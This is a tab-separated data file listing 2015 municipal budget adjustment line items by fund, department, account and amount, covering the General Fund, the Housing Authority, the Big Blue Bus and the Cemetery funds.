16125	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555210.0	TRAINING		 Supplies and Expenses	2015	814.0	0	0	0	0	0	0.0	0	0	0	0	0.0	814.0
16126	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	802.0	0	0	0	0	0	0.0	0	0	0	0	0.0	802.0
16127	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	14737.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14737.0
16128	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16129	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	38363.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38363.0
16130	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-4700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4700.0
16131	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	2010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2010.0
16132	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16133	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16134	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402800.0	NAME PLATES / BENCHES	650.0	Charges for Service	2015	-10091.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10091.0
16135	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402820.0	FLOWER SALES	650.0	Charges for Service	2015	-17029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17029.0
16136	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16137	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2015	5777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5777.0
16138	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2015	49083.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49083.0
16139	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577650.0	MAINTENANCE / GUARDS		 Supplies and Expenses	2015	63116.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63116.0
16140	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511970.0	OTHER FRINGE BENEFITS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16141	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522000.0	UNRECOVERED INSURANCE LOSS	860.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16142	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16143	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533040.0	SPECIAL INSURANCE	810.0	 Supplies and Expenses	2015	2700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2700.0
16144	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2015	945000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	945000.0
16145	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2015	-24944.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-24944.0
16146	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16147	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2015	169125.0	0	0	0	0	0	0.0	0	0	0	0	0.0	169125.0
16148	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	891.0	0	0	0	0	0	0.0	0	0	0	0	0.0	891.0
16149	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2015	-950487.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-950487.0
16150	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2015	-85461.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-85461.0
16151	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2015	-5982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5982.0
16152	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16153	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16154	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	104946.0	0	0	0	0	0	0.0	0	0	0	0	0.0	104946.0
16155	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16156	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16157	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	868758.0	0	0	0	0	0	0.0	0	0	0	0	0.0	868758.0
16158	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2015	26630.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26630.0
16159	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	218552.0	0	0	0	0	0	0.0	0	0	0	0	0.0	218552.0
16160	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511490.0	OVERTIME	816.0	Salaries and Wages	2015	385.0	0	0	0	0	0	0.0	0	0	0	0	0.0	385.0
16161	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511748.0	DENTAL	816.0	Salaries and Wages	2015	14047.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14047.0
16162	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2015	999.0	0	0	0	0	0	0.0	0	0	0	0	0.0	999.0
16163	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16164	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
16165	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577341.0	SECT 8 HSG-PORTS	816.0	 Supplies and Expenses	2015	98000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	98000.0
16166	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	112647.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112647.0
16167	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13000.0
16168	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	1120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1120.0
16169	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	187.0	0	0	0	0	0	0.0	0	0	0	0	0.0	187.0
16170	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16171	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-1205.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1205.0
16172	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-20475.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20475.0
16173	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-15762.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15762.0
16174	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-23700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23700.0
16175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544450.0	ADMIN-COMMUNICATION EFFORTS	810.0	 Supplies and Expenses	2015	51447.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51447.0
16176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16177	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16178	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409020.0	ENRICHMENT PROGRAM	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16179	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16180	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16181	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16182	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556140.0	SOLD VAULTS	808.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
16183	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556180.0	EMBALMING SUPPLIES/EQUIPMENT	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16184	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	10550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10550.0
16185	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2015	624.0	0	0	0	0	0	0.0	0	0	0	0	0.0	624.0
16186	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
16187	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	5310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5310.0
16188	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2015	2889.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2889.0
16189	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2015	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
16190	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
16191	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	261216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	261216.0
16192	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571140.0	S+C HAP EXPANSION	816.0	 Supplies and Expenses	2015	185901.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185901.0
16193	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
16194	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522620.0	RENT	816.0	 Supplies and Expenses	2015	175216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	175216.0
16195	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577340.0	SECTION 8 HOUSING ASSISTANCE	816.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16196	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	578330.0	PORTABLE ADMIN FEES	816.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
16197	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-6189.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6189.0
16198	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	3529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3529.0
16199	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	1106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1106.0
16200	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	389277.0	0	0	0	0	0	0.0	0	0	0	0	0.0	389277.0
16201	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	1949.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1949.0
16202	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	1308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1308.0
16203	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16204	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	578670.0	COORDINATED COMMUNITY OUTREACH	804.0	 Supplies and Expenses	2015	169211.0	0	0	0	0	0	0.0	0	0	0	0	0.0	169211.0
16205	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	405200.0	VIDEO PRODUCTION SERVICE	612.0	Charges for Service	2015	-16200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16200.0
16206	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2015	18480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18480.0
16207	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	10909.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10909.0
16208	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571130.0	S+C HAP SUO5	816.0	 Supplies and Expenses	2015	312373.0	0	0	0	0	0	0.0	0	0	0	0	0.0	312373.0
16209	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2015	30750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30750.0
16210	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2015	-12421746.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12421746.0
16211	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-71527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-71527.0
16212	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-199264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-199264.0
16213	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2015	-27542.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-27542.0
16214	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-40160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40160.0
16215	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	-31101.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-31101.0
16216	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16217	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	16866.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16866.0
16218	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DCAP	816.0	Salaries and Wages	2015	934.0	0	0	0	0	0	0.0	0	0	0	0	0.0	934.0
16219	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
16220	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2015	6500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6500.0
16221	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
16222	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	24944.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24944.0
16223	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131.0
16224	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	1300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1300.0
16225	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
16226	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16227	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2015	13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13000.0
16228	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	3294.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3294.0
16229	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2015	430.0	0	0	0	0	0	0.0	0	0	0	0	0.0	430.0
16230	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	6711.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6711.0
16231	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	12218.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12218.0
16232	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	109421.0	0	0	0	0	0	0.0	0	0	0	0	0.0	109421.0
16233	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2015	315.0	0	0	0	0	0	0.0	0	0	0	0	0.0	315.0
16234	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571110.0	S+C HAP SUO2	816.0	 Supplies and Expenses	2015	85461.0	0	0	0	0	0	0.0	0	0	0	0	0.0	85461.0
16235	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566810.0	TRANS & USE TAX-SMMUSD ALLOCAT	810.0	 Supplies and Expenses	2015	7837500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7837500.0
16236	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-38533.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38533.0
16237	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-45759.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-45759.0
16238	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-20234.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20234.0
16239	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-37515.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-37515.0
16240	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-6373.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6373.0
16241	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511748.0	DENTAL	804.0	Salaries and Wages	2015	8540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8540.0
16242	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	175429.0	0	0	0	0	0	0.0	0	0	0	0	0.0	175429.0
16243	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	6192.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6192.0
16244	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	578990.0	WELLNESS PROGRAM	804.0	 Supplies and Expenses	2015	3054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3054.0
16245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
